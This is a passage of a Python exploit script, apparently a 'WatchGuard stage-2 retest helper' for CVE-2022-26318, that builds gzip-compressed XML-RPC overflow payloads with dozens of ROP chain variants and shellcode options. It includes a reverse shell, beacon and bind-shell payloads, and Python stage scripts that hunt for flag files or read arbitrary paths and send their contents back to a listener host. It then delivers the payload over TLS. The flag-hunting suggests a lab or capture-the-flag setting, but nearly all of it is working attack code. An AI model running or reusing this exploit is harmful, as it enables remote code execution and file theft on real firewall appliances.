" S.sendall((p+'\\n').encode()+data+b'\\n')",
" hits.append(p)",
"for pat in C:",
" for p in glob.glob(pat):",
" if p in seen: continue",
" seen.add(p)",
" try: send(p)",
" except Exception as e: S.sendall((p+': '+repr(e)+'\\n').encode())",
"if not hits:",
" for root, dirs, files in os.walk('/'):",
" for n in files:",
" if 'flag' not in n.lower(): continue",
" p=os.path.join(root,n)",
" if p in seen: continue",
" seen.add(p)",
" try: send(p)",
" except Exception as e: S.sendall((p+': '+repr(e)+'\\n').encode())",
" if len(hits) >= 8: raise SystemExit",
"S.sendall(b'__DONE__\\n')",
"S.close()",
f"os.remove({script_path!r})",
]
return "\n".join(lines).encode()
def build_python_flag_shellcode(lhost, lport):
script_path = "/tmp/cx.py"
script = build_python_flag_script(lhost, lport, script_path)
return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())
def build_python_touch_script(script_path="/tmp/cx.py"):
output_paths = ["/tmp/debug/codex_pwned.log", "/tmp/codex_pwned.log", "/var/tmp/codex_pwned.log"]
lines = [
"import os",
"O=" + repr(output_paths),
"parts=[]",
"parts.append('CODEx-26318 stage2 reached\\n')",
"parts.append('pid=%d\\n' % os.getpid())",
"try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
"except Exception: pass",
"try: parts.append('uname=%r\\n' % (os.uname(),))",
"except Exception: pass",
"msg=''.join(parts).encode('utf-8')",
"for p in O:",
" try:",
" d=os.path.dirname(p)",
" if d and not os.path.isdir(d):",
" try: os.makedirs(d)",
" except Exception: pass",
" open(p,'wb').write(msg)",
" except Exception:",
" continue",
" else:",
" break",
"try: os.remove(%r)" % script_path,
"except Exception: pass",
]
return "\n".join(lines).encode()
def build_python_touch_shellcode():
script_path = "/tmp/cx.py"
script = build_python_touch_script(script_path)
return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())
def build_python_flag_local_script(script_path="/tmp/cx.py"):
output_paths = ["/tmp/debug/codex_flag.log", "/tmp/codex_flag.log", "/var/tmp/codex_flag.log"]
candidate_patterns = [
"/flag",
"/flag.txt",
"/root/flag",
"/root/flag.txt",
"/root/flag*",
"/home/admin/flag",
"/home/admin/flag.txt",
"/home/*/flag*",
"/tmp/flag*",
"/var/tmp/flag*",
"/mnt/*flag*",
]
search_roots = ["/root", "/home", "/tmp", "/var/tmp", "/mnt", "/opt", "/etc", "/usr/local"]
probe_dirs = ["/", "/root", "/home", "/home/admin", "/tmp", "/tmp/debug", "/var/tmp", "/mnt"]
lines = [
"import glob, os",
"O=" + repr(output_paths),
"C=" + repr(candidate_patterns),
"R=" + repr(search_roots),
"D=" + repr(probe_dirs),
"seen=[]",
"def add(p):",
" if p not in seen: seen.append(p)",
"for pat in C:",
" for p in glob.glob(pat):",
" add(p)",
"for root in R:",
" if len(seen) >= 16: break",
" if not os.path.exists(root):",
" continue",
" try:",
" for base, dirs, files in os.walk(root):",
" if len(seen) >= 16: break",
" for n in files:",
" if 'flag' in n.lower():",
" add(os.path.join(base, n))",
" except Exception:",
" pass",
"parts=[]",
"parts.append('CODEx-26318 local read\\n')",
"parts.append('pid=%d\\n' % os.getpid())",
"try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
"except Exception: pass",
"for p in seen:",
" try:",
" data=open(p,'rb').read(8192)",
" parts.append('==== %s ====\\n' % p)",
" try: parts.append(data.decode('utf-8', 'replace'))",
" except Exception: parts.append(repr(data))",
" parts.append('\\n')",
" except Exception as e:",
" parts.append('%s: %r\\n' % (p, e))",
"if not seen:",
" parts.append('NO_FLAG_HITS\\n')",
" for d in D:",
" try:",
" parts.append('## ls %s\\n' % d)",
" for n in os.listdir(d)[:64]:",
" parts.append(n + '\\n')",
" except Exception as e:",
" parts.append('%s: %r\\n' % (d, e))",
"msg=''.join(parts).encode('utf-8')",
"for p in O:",
" try:",
" d=os.path.dirname(p)",
" if d and not os.path.isdir(d):",
" try: os.makedirs(d)",
" except Exception: pass",
" open(p,'wb').write(msg)",
" except Exception:",
" continue",
" else:",
" break",
"try: os.remove(%r)" % script_path,
"except Exception: pass",
]
return "\n".join(lines).encode()
def build_python_flag_local_shellcode():
script_path = "/tmp/cx.py"
script = build_python_flag_local_script(script_path)
return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())
def build_python_readfile_local_script(target_path, script_path="/tmp/cx.py"):
output_paths = ["/tmp/debug/codex_read.log", "/tmp/codex_read.log", "/var/tmp/codex_read.log"]
lines = [
"import os",
"T=" + repr(target_path),
"O=" + repr(output_paths),
"parts=[]",
"parts.append('CODEx-26318 readfile local\\n')",
"parts.append('target=%s\\n' % T)",
"try: parts.append('uid=%d euid=%d\\n' % (os.getuid(), os.geteuid()))",
"except Exception: pass",
"try:",
" data=open(T,'rb').read(65536)",
" parts.append('read_ok bytes=%d\\n' % len(data))",
" try: parts.append(data.decode('utf-8', 'replace'))",
" except Exception: parts.append(repr(data))",
"except Exception as e:",
" parts.append('read_error=%r\\n' % (e,))",
"msg=''.join(parts).encode('utf-8')",
"for p in O:",
" try:",
" d=os.path.dirname(p)",
" if d and not os.path.isdir(d):",
" try: os.makedirs(d)",
" except Exception: pass",
" open(p,'wb').write(msg)",
" except Exception:",
" continue",
" else:",
" break",
"try: os.remove(%r)" % script_path,
"except Exception: pass",
]
return "\n".join(lines).encode()
def build_python_readfile_local_shellcode(target_path):
script_path = "/tmp/cx.py"
script = build_python_readfile_local_script(target_path, script_path)
return build_python_exec_shellcode(script, b"/usr/bin/python", script_path.encode())
def build_stage2(stage2_mode, ret_count):
if stage2_mode == "direct":
return p64(G_JMP_RSP)
if stage2_mode == "ret_jmp":
return p64(G_RET) + p64(G_JMP_RSP)
if stage2_mode == "ret2_jmp":
return p64(G_RET_2) + p64(G_JMP_RSP) + b"\x90\x90"
if stage2_mode == "ret14_jmp":
return p64(G_RET_14) + p64(G_JMP_RSP) + (b"\x90" * 14)
if stage2_mode == "ret_chain":
return (p64(G_RET) * ret_count) + p64(G_JMP_RSP)
if stage2_mode == "skip16_jmp":
return p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + p64(G_JMP_RSP)
if stage2_mode == "skip56_jmp":
return p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + p64(G_JMP_RSP)
if stage2_mode == "public_direct_jmp":
return build_public_preamble(p64(G_JMP_RSP))
if stage2_mode == "public_ret14_jmp":
return build_public_preamble(p64(G_RET_14) + p64(G_JMP_RSP) + (b"\x90" * 14))
if stage2_mode == "public_add8_jmp":
return build_public_preamble(p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + p64(G_JMP_RSP))
if stage2_mode == "public_pop2_jmp":
return build_public_preamble(
p64(G_POP_RBX_RBP_RET)
+ p64(0x4141414141414141)
+ p64(0x4242424242424242)
+ p64(G_JMP_RSP)
)
if stage2_mode == "public_skip24_jmp":
return build_public_preamble(
p64(G_SKIP_24_RET)
+ p64(0x4141414141414141)
+ p64(0x4242424242424242)
+ p64(0x4343434343434343)
+ p64(G_JMP_RSP)
)
if stage2_mode == "public_skip56_jmp":
return build_public_preamble(p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + p64(G_JMP_RSP))
if stage2_mode == "callskip_jmp":
return build_callskip_chain(G_CALL_RAX)
if stage2_mode == "mov_callskip_jmp":
return build_callskip_chain(G_MOV_RBP_RSP_CALL_RAX)
if stage2_mode == "skip16_callskip_jmp":
return p64(G_ADD_RSP_8_RET) + p64(0x4141414141414141) + build_callskip_chain(G_CALL_RAX)
if stage2_mode == "skip56_callskip_jmp":
return p64(G_SKIP_56_RET) + (p64(0x4141414141414141) * 7) + build_callskip_chain(G_CALL_RAX)
if stage2_mode == "rax_poprbp_jmprax":
return build_rax_poprbp_jmprax_chain()
if stage2_mode == "public_rax_poprbp_jmprax":
return build_public_preamble(build_rax_poprbp_jmprax_chain())
if stage2_mode == "rbp_pivot10_jmp":
return build_rbp_pivot_chain(G_RBP_PIVOT_10_RET)
if stage2_mode == "public_rbp_pivot10_jmp":
return build_public_preamble(build_rbp_pivot_chain(G_RBP_PIVOT_10_RET))
if stage2_mode == "rbp_pivot20_jmp":
return build_rbp_pivot_chain(G_RBP_PIVOT_20_RET)
if stage2_mode == "public_rbp_pivot20_jmp":
return build_public_preamble(build_rbp_pivot_chain(G_RBP_PIVOT_20_RET))
if stage2_mode == "assetnote_exact":
return build_assetnote_exact_chain()
if stage2_mode == "real_assetnote_exact":
return build_real_assetnote_exact_chain()
raise ValueError(f"unknown stage2 mode: {stage2_mode}")
def build_payload(
lhost,
lport,
first_hop_tag,
stage2_mode,
repeat_count,
stage2_padding,
head_pad_len,
ret_count,
payload_kind,
marker_text,
response_fds,
target_path="",
layout="full_xml",
):
if payload_kind == "reverse":
shellcode = build_reverse_shellcode(lhost, lport)
elif payload_kind == "beacon":
shellcode = build_beacon_shellcode(lhost, lport, marker_text)
elif payload_kind == "bindbeacon":
shellcode = build_bind_beacon_shellcode(lport, marker_text)
elif payload_kind == "response":
shellcode = build_response_shellcode(marker_text, parse_fd_list(response_fds))
elif payload_kind == "assetnote_response":
shellcode = build_assetnote_response_shellcode(marker_text, parse_fd_list(response_fds)[0])
elif payload_kind == "response_readfile":
shellcode = build_response_readfile_shellcode(target_path, parse_fd_list(response_fds))
elif payload_kind == "python_flag":
shellcode = build_python_flag_shellcode(lhost, lport)
elif payload_kind == "python_touch":
shellcode = build_python_touch_shellcode()
elif payload_kind == "python_flag_local":
shellcode = build_python_flag_local_shellcode()
elif payload_kind == "python_readfile_local":
shellcode = build_python_readfile_local_shellcode(target_path)
elif payload_kind == "hang":
shellcode = build_hang_shellcode()
else:
raise ValueError(f"unknown payload kind: {payload_kind}")
padding = b"\x00" * stage2_padding
rop = build_stage2(stage2_mode, ret_count)
tag_close = (first_hop_tag + ">").encode()
if layout == "public_exact":
tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count).encode()
payload = b"agent.login<"
elif layout == "assetnote_full":
tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count).encode()
payload = b"<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><"
elif layout == "full_xml":
tag_repeat = (f"<BBBB{first_hop_tag}>" * repeat_count + "AA").encode()
payload = b"<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><"
else:
raise ValueError(f"unknown layout: {layout}")
payload += b"A" * head_pad_len
payload += tag_close
payload += tag_repeat
payload += padding
payload += rop
payload += shellcode
return gzip.compress(payload, 9)
def build_http(
lhost,
lport,
rhost,
rport,
first_hop_tag,
stage2_mode,
repeat_count,
stage2_padding,
head_pad_len,
ret_count,
payload_kind,
marker_text,
response_fds,
target_path="",
layout="full_xml",
):
body = build_payload(
lhost,
lport,
first_hop_tag,
stage2_mode,
repeat_count,
stage2_padding,
head_pad_len,
ret_count,
payload_kind,
marker_text,
response_fds,
target_path,
layout,
)
headers = [
"POST /agent/login HTTP/1.1",
f"Host: {rhost}:{rport}",
"User-Agent: CVE-2022-26318",
"Accept-Encoding: gzip, deflate",
"Accept: */*",
"Connection: close",
"Content-Encoding: gzip",
f"Content-Length: {len(body)}",
"",
"",
]
return "\r\n".join(headers).encode() + body
def main():
parser = argparse.ArgumentParser(description="WatchGuard stage-2 retest helper")
parser.add_argument(
"--profile",
default="real_4117_reverse",
choices=sorted(PROFILE_DEFAULTS),
help="preset derived from public PoCs / local sample; explicit CLI args override the preset",
)
parser.add_argument("--rhost", default=R_HOST)
parser.add_argument("--rport", type=int, default=4117)
parser.add_argument("--lhost", default=L_HOST)
parser.add_argument("--lport", type=int, default=L_PORT)
parser.add_argument("--tag", default=FIRST_HOP_TAG)
parser.add_argument("--repeat-count", type=int, default=TAG_REPEAT_COUNT)
parser.add_argument("--padding", type=int, default=STAGE2_PADDING)
parser.add_argument("--head-pad", type=int, default=HEAD_PAD_LEN)
parser.add_argument(
"--stage2",
default="real_assetnote_exact",
choices=[
"direct",
"ret_jmp",
"ret2_jmp",
"ret14_jmp",
"ret_chain",
"skip16_jmp",
"skip56_jmp",
"public_direct_jmp",
"public_ret14_jmp",
"public_add8_jmp",
"public_pop2_jmp",
"public_skip24_jmp",
"public_skip56_jmp",
"callskip_jmp",
"mov_callskip_jmp",
"skip16_callskip_jmp",
"skip56_callskip_jmp",
"rax_poprbp_jmprax",
"public_rax_poprbp_jmprax",
"rbp_pivot10_jmp",
"public_rbp_pivot10_jmp",
"rbp_pivot20_jmp",
"public_rbp_pivot20_jmp",
"assetnote_exact",
"real_assetnote_exact",
],
)
parser.add_argument("--ret-count", type=int, default=RET_CHAIN_COUNT)
parser.add_argument(
"--payload-kind",
default="reverse",
choices=[
"reverse",
"beacon",
"bindbeacon",
"response",
"assetnote_response",
"response_readfile",
"python_flag",
"python_touch",
"python_flag_local",
"python_readfile_local",
"hang",
],
)
parser.add_argument("--marker", default=MARKER_TEXT.decode())
parser.add_argument("--response-fds", default=RESPONSE_FDS)
parser.add_argument("--target-path", default="/flag.txt")
parser.add_argument("--layout", default="assetnote_full", choices=["assetnote_full", "full_xml", "public_exact"])
parser.add_argument("--recv-timeout", type=float, default=3.0)
argv = sys.argv[1:]
args = parser.parse_args(argv)
args = apply_profile_defaults(args, argv)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
wrapped = context.wrap_socket(sock=sock, server_hostname=args.rhost)
wrapped.settimeout(args.recv_timeout)
server_address = (args.rhost, args.rport)
print(f"connecting to {server_address[0]} port {server_address[1]}")
print(
"using profile {} -> tag {} -> stage2 {} -> ret-count {} -> repeat-count {} -> padding {} -> head-pad {} -> {}:{}".format(
args.profile,
args.tag,
args.stage2,
args.ret_count,
args.repeat_count,
args.padding,
args.head_pad,
args.lhost,
args.lport,
)
)
print(f"payload-kind {args.payload_kind}")
if args.payload_kind == "response":
print(f"marker {args.marker!r}")
print(f"response-fds {args.response_fds}")
try:
wrapped.connect(server_address)
print("sending payload...")
payload = build_http(
args.lhost,
args.lport,
args.rhost,
args.rport,
args.tag,
args.stage2,
args.repeat_count,
args.padding,
args.head_pad,
args.ret_count,
args.payload_kind,
args.marker.encode(),
args.response_fds,
args.target_path,
args.layout,
)
wrapped.sendall(payload)
chunks = []
while True:
try:
chunk = wrapped.recv(4096)
except ssl.SSLEOFError as exc:
print(f"ssl eof while receiving: {exc}")
break
except socket.timeout:
break
except ssl.SSLError as exc:
print(f"ssl error while receiving: {exc}")
break
if not chunk:
break
chunks.append(chunk)
response = b"".join(chunks)
if response:
print(f"received {len(response)} bytes")
if args.payload_kind == "response":
if args.marker.encode() in response:
print("marker observed in response")
else:
print("marker not observed in response")
preview = response[:4096]
print(repr(preview))
try:
print(preview.decode("utf-8", errors="replace"))
except Exception:
pass
else:
print("no response received after payload")
except Exception as exc:
print("error:", exc)
finally:
print("closing socket")
wrapped.close()
if __name__ == "__main__":
main()









